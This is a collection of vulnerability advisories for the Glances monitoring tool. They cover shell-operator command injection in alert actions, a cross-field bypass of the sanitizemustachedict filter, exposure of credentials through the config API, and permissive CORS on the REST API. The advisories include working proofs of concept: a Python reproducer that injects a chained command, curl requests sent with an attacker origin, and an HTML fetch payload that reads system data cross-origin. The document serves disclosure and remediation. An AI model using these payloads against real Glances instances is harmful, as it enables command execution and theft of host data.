See how glances compares to other vendors in security performance
Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.6, GlancesActions.run() in glances/actions.py ignores --disable-config-exec for on-alert action commands and invokes securepopen() with shell operators enabled, allowing configured redirection, command chaining, or pipes to execute when an alert triggers. This issue is fixed in 4.5.6.
Glances is an open-source system cross-platform monitoring tool. From 4.5.2 until 4.5.6, sanitizemustachedict() in glances/actions.py skips nested list and dictionary strings such as process cmdline values, allowing pipe characters to survive chevron.render() and be executed by securepopen() through administrator-configured action templates. This issue is fixed in 4.5.6.
Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.6, asdictsecure() in glances/config.py checks only option names and exposes publicusername and credentials embedded in publicapi values through unauthenticated GET /api/4/config and GET /api/4/config/ip requests. This issue is fixed in 4.5.6.
Summary Glances's REST API server includes a documented safety check intended to guarantee that corscredentials=True can never be combined with an unrestricted CORS origin allowlist. The check compares the configured origin list to the wildcard using exact list equality (corsorigins == [""]) instead of a membership test. Any multi-entry origin configuration that merely includes "" alongside other origins (e.g. corsorigins=,https://trusted.example.com) bypasses the check entirely, while Starlette's underlying CORSMiddleware still treats the presence of "" anywhere in the list as "allow all origins" and reflects the request's actual Origin header together with Access-Control-Allow-Credentials: true. This allows any website to read a victim's authenticated Glances monitoring data — including full process lists with command-line arguments — by exploiting the browser's automatic replay of cached HTTP Basic Auth credentials in a cross-origin request.
Details glances/outputs/glancesrestfulapi.py:298: python if corsorigins == [""] and corscredentials: logger.warning(...) corscredentials = False The intended guarantee is documented in glances/outputs/glancesstdoutapirestfuldoc.py:247-260: "Setting corscredentials=True with corsorigins= is not allowed. Glances will automatically disable credentials and log a warning if this combination is detected." The exact-equality comparison only matches when corsorigins is precisely the single-element list [""]. Starlette's CORSMiddleware, by contrast, determines wildcard behavior via "" in alloworigins — a membership test — so any multi-entry list containing "" is still treated by Starlette as "allow all origins," while Glances's own guard silently fails to disable credentials for that case, breaking the documented guarantee with no warning logged.
This is the same exact-match-versus-membership-test bug shape that CVE-2026-46608 fixed in the sibling XML-RPC server (glances/server.py, which correctly performs if '' in corsorigins:). The REST API's analogous check was never updated to the corrected pattern.
PoC Configuration: ini [outputs] corsorigins=,https://trusted.example.com corscredentials=true Confirm auth is required curl -s -i http://127.0.0.1:36212/api/4/cpu -> 401 Unauthorized, www-authenticate: Basic
Authenticated request, Origin header set to an arbitrary domain never configured curl -s -i -u glances:<password> -H "Origin: https://totally-evil-attacker.com" \ http://127.0.0.1:36212/api/4/cpu -> 200 OK access-control-allow-origin: https://totally-evil-attacker.com access-control-allow-credentials: true {"total": 0.0, "user": 0.0, ...}
Same against the process list, exposing command lines/usernames/PIDs curl -s -u glances:<password> -H "Origin: https://totally-evil-attacker.com" \ http://127.0.0.1:36212/api/4/processlist -> [{"cmdline": [...], "username": "...", "pid": ..., ...}, ...] (same access-control-allow-origin / access-control-allow-credentials headers)
Impact Any operator who configures corsorigins as a multi-entry list that includes the wildcard alongside one or more specific trusted origins — a plausible configuration mistake given the documented default is the bare wildcard, and an operator attempting to additionally permit a second legitimate dashboard origin may not realize the wildcard must first be removed — silently loses the documented credentials-disable protection. Any third-party website can then read the full authenticated monitoring dataset of any visitor who has previously logged into that Glances instance via their browser, including process command-line arguments (which frequently contain secrets passed as CLI flags), usernames, and PIDs.
Remediation suggestion Change the check at glancesrestfulapi.py:298 from corsorigins == [""] to "" in corsorigins, matching the corrected pattern already used in glances/server.py for the XML-RPC server.
Summary
The Glances action system lets an administrator configure shell commands that run when a monitoring threshold is crossed. The command is a Mustache template whose variables are filled with runtime stat fields such as a process name, a container name or a filesystem mount point. Those fields are attacker-influenceable: a local, unprivileged user who starts a process (or a container) controls its name and command line. The rendered command is executed by securepopen(), which interprets &&, | and > as chaining / pipe / redirection operators.
glances/actions.py defends against this with sanitizemustachedict(), which strips those operators from each individual template value before rendering. The sanitization is applied per field, but the operators are reconstructed across the boundary of two adjacent template variables after Mustache rendering. When an action template concatenates two unescaped variables ({{{a}}}{{{b}}} or {{&a}}{{&b}}) and the attacker makes the first value end with & and the second begin with &, the rendered command contains a real &&, and securepopen() executes the injected command. The single-& in each value passes the per-field filter untouched.
Affected versions
glances <= 4.5.5 (verified against the published PyPI release 4.5.5, the latest at the time of writing; glances.version == "4.5.5"). The per-field sanitizer sanitizemustachedict() is present and active in this release. Not patched in any released version.
Privilege required
Two roles are involved:
- A local, unprivileged user (or a container the attacker can name) supplies the attacker-controlled stat values (process/container name, mount point, etc.). This is the same trust boundary the action-template command-injection class already recognises: the attacker controls the process name, not the configuration. - An administrator has configured an action whose command template concatenates two unescaped Mustache variables with no separating character ({{{name}}}{{{cmdline}}}). Unescaped Mustache ({{{ }}} / {{& }}) is a documented Chevron feature and is the natural choice when the operator wants a value that contains shell-significant characters to reach the command verbatim.
No network access to the target host is required beyond the ability to run a process (or start a named container) on it.
Vulnerable code (file:line)
glances/actions.py:25-46 — the per-field sanitizer:
python glances/actions.py:25 SHELLOPERATORS = ('&&', '|', '>>', '>')
def sanitizemustachedict(mustachedict): """Return a copy of mustachedict with shell operators replaced by spaces.""" if not mustachedict: return mustachedict safe = {} for k, v in mustachedict.items(): if isinstance(v, str): for op in SHELLOPERATORS: v = v.replace(op, ' ') # per-field only safe[k] = v else: safe[k] = v return safe
glances/actions.py:100-111 — sanitize-then-render-then-execute:
python glances/actions.py:100 for cmd in commands: if chevrontag: safedict = sanitizemustachedict(mustachedict) cmdfull = chevron.render(cmd, safedict) # concatenation happens here else: cmdfull = cmd ret = securepopen(cmdfull) # operators interpreted
Root cause
sanitizemustachedict() removes &&, |, >>, > from each value in isolation. It does not remove a lone &, because a single & is not one of the listed operators. When two values are rendered next to each other by chevron.render(), a trailing & from the first value and a leading & from the second value join into a literal && in cmdfull. securepopen() then cmd.split('&&') and runs the second half as a separate subprocess.Popen (shell=False) process. The same reconstruction works for > written as two adjacent > characters split across the boundary (...> + >... and the >>/> stripping is per field), and the sanitizer's own choice to sanitize before, rather than after, rendering is the defect.
This is an incomplete fix of the action-template command-injection issue (CVE-2026-32608 / GHSA-vcv2-q258-wrg7): sanitizemustachedict() closes the single-field case but not the cross-field-reconstruction case. The correct place to enforce the operator ban is on the fully rendered command string (or by never letting template-variable data introduce operators), not on the pre-render values one at a time.
Chevron HTML-escapes &, <, >, " inside standard double-brace {{ }} sections, so double-brace templates neutralise the && reconstruction. The reconstruction is reachable specifically through unescaped variables ({{{ }}} / {{& }}), which is why the per-field sanitizer is the sole remaining control on that path.
Reachability / How input reaches sink
1. A local unprivileged user starts a process (or a container) whose name ends with & and whose cmdline begins with & <command> (both are stored verbatim in the plugin stat item). 2. When the plugin crosses a warning / critical threshold, glances/plugins/plugin/model.py calls self.actions.run with the full stat item passed as the mustachedict argument. 3. GlancesActions.run sanitizes each value with sanitizemustachedict() (each keeps its single &), then chevron.render() concatenates the two adjacent unescaped variables, producing a literal && in the command string. 4. securepopen(cmdfull) splits on && and runs the attacker's segment as a separate subprocess.Popen(shell=False) process.
The trust boundary crossed is process-name / container-name → shell operator, exactly the boundary the sanitizer was introduced to close.
Reproduction (end-to-end, against pinned version glances==4.5.5)
bash 1. Install the latest published release into a clean venv python3.13 -m venv gv ./gv/bin/pip install "glances==4.5.5"
2. Run the reproducer, which drives the real glances.actions.GlancesActions.run() pipeline exactly as glances/plugins/plugin/model.py invokes it on an alert. ./gv/bin/python repro.py
repro.py:
python import os, sys, time sys.argv = ['glances'] from glances.actions import GlancesActions
MARK = "/tmp/glancescrossfieldpwned" NEG = MARK + "neg" for f in (MARK, NEG): try: os.remove(f) except FileNotFoundError: pass
class Args: time = 0 ga = GlancesActions(args=Args())
A processlist stat item; a local low-privilege user controls both 'name' and 'cmdline' by spawning a process (the established GHSA-vcv2 threat model). 'name' ends with '&', 'cmdline' begins with '&' -> '&&' forms across the boundary. item = {'name': 'evilproc&', 'cmdline': '& touch %s' % MARK, 'pid': 1337, 'cpupercent': 99.0, 'key': 'pid'}
NEGATIVE CONTROL: the same values under an ESCAPED double-brace template are neutralised by chevron HTML-escaping '&' -> '&'. negitem = dict(item); negitem['cmdline'] = '& touch %s' % NEG ga.status.clear(); ga.starttimer.start = time.time() - 999 ga.run("pl", "CRITICAL", ["logger p={{name}}{{cmdline}}"], repeat=True, mustachedict=negitem) time.sleep(0.3) print("NEGATIVE CONTROL (escaped {{name}}{{cmdline}}):", "INJECTED" if os.path.exists(NEG) else "blocked (expected)")
POSITIVE: an UNESCAPED template with two adjacent variables. Per-field sanitizemustachedict leaves each single '&'; the '&&' operator is reconstructed after chevron.render, then split by securepopen. ga.status.clear(); ga.starttimer.start = time.time() - 999 ga.run("pl2", "CRITICAL", ["logger p={{{name}}}{{{cmdline}}}"], repeat=True, mustachedict=item) time.sleep(0.5) print("POSITIVE (unescaped {{{name}}}{{{cmdline}}}):", "INJECTED - 'touch' executed" if os.path.exists(MARK) else "blocked")
Captured output (glances 4.5.5, Python 3.13, x8664 Linux):
NEGATIVE CONTROL (escaped {{name}}{{cmdline}}): blocked (expected) POSITIVE (unescaped {{{name}}}{{{cmdline}}}): INJECTED - 'touch' executed
The negative control confirms that the same attacker values under a standard double-brace template are blocked (chevron escapes &). The positive case shows the injected touch executing when the template uses two adjacent unescaped variables: the file /tmp/glancescrossfieldpwned is created by the injected command, not by the intended logger action.
Impact
- Arbitrary command execution as the OS user running Glances (frequently root on monitored hosts) whenever an operator uses an unescaped, adjacent-variable action template and an attacker controls two neighbouring stat fields. - The same reconstruction reaches securepopen()'s file-redirection (>) and pipe (|) handling, allowing arbitrary file write and output piping in addition to command chaining. - The bypass defeats the dedicated sanitizemustachedict() control that was added specifically to stop attacker-controlled stat values from injecting shell operators.
Suggested fix
Enforce the operator ban on the rendered command string that comes from template-variable expansion, rather than on the pre-render values in isolation. One approach that mirrors the existing helper: render each variable, then reject / neutralise operators in the concatenated result, or strip lone &/redirection characters that originate from variable data.
python def sanitizemustachedict(mustachedict): if not mustachedict: return mustachedict safe = {} for k, v in mustachedict.items(): if isinstance(v, str): # Neutralise every shell-significant character that securepopen # can interpret, including a lone '&' that could pair with an # adjacent variable to reconstruct '&&'. for ch in ('&', '|', '>', '<'): v = v.replace(ch, ' ') safe[k] = v else: safe[k] = v return safe
Neutralising the single & (and the single > / |) in each value removes the cross-field reconstruction because no operator character survives on either side of a variable boundary. Alternatively, sanitize cmdfull after chevron.render(), or pass the template-derived data as securepopen(..., allowoperators=False) when the command originates from stat-field substitution.
Credit
Reported by tonghuaroot.
Summary The Glances web server exposes a REST API (/api/4/) that is accessible without authentication and allows cross-origin requests from any origin due to a permissive CORS policy (Access-Control-Allow-Origin: ).
This allows a malicious website to read sensitive system information from a running Glances instance in the victim’s browser, leading to cross-origin data exfiltration.
While a previous advisory exists for XML-RPC CORS issues, this report demonstrates that the REST API (/api/4/) is also affected and exposes significantly more sensitive data.
Details When Glances is started in web mode (e.g., glances -w -B 0.0.0.0), it exposes a REST API endpoint at: http://<host>:61208/api/4/all The server responds with: Access-Control-Allow-Origin:
This allows any origin to perform cross-origin requests and read responses.
The /api/4/all endpoint returns extensive system information, including: - Process list (processlist) - System details (hostname, OS, CPU info) - Memory and disk usage - Network interfaces and IP address - Running services and metrics Because no authentication is required by default, this data is accessible to any web page.
PoC 1. Start Glances: glances -w -B 0.0.0.0
2. Create a malicious HTML file:
<!DOCTYPE html> <html> <body> <script> fetch("http://<victim-ip>:61208/api/4/all") .then(r => r.json()) .then(data => { console.log("DATA:", data); }); </script> </body> </html> 2. Open the file in a browser while Glances is running. 3. Observe that the browser successfully retrieves sensitive system information from the API. This works cross-origin (e.g., from file:// or attacker-controlled domains).
Impact A remote attacker can host a malicious website that, when visited by a victim running Glances, can:
- Read sensitive system information - Enumerate running processes - Identify network configuration and IP addresses - Fingerprint the host system
This requires no authentication and no user interaction beyond visiting a web page. This represents a cross-origin information disclosure vulnerability and can aid further attacks such as reconnaissance or targeted exploitation.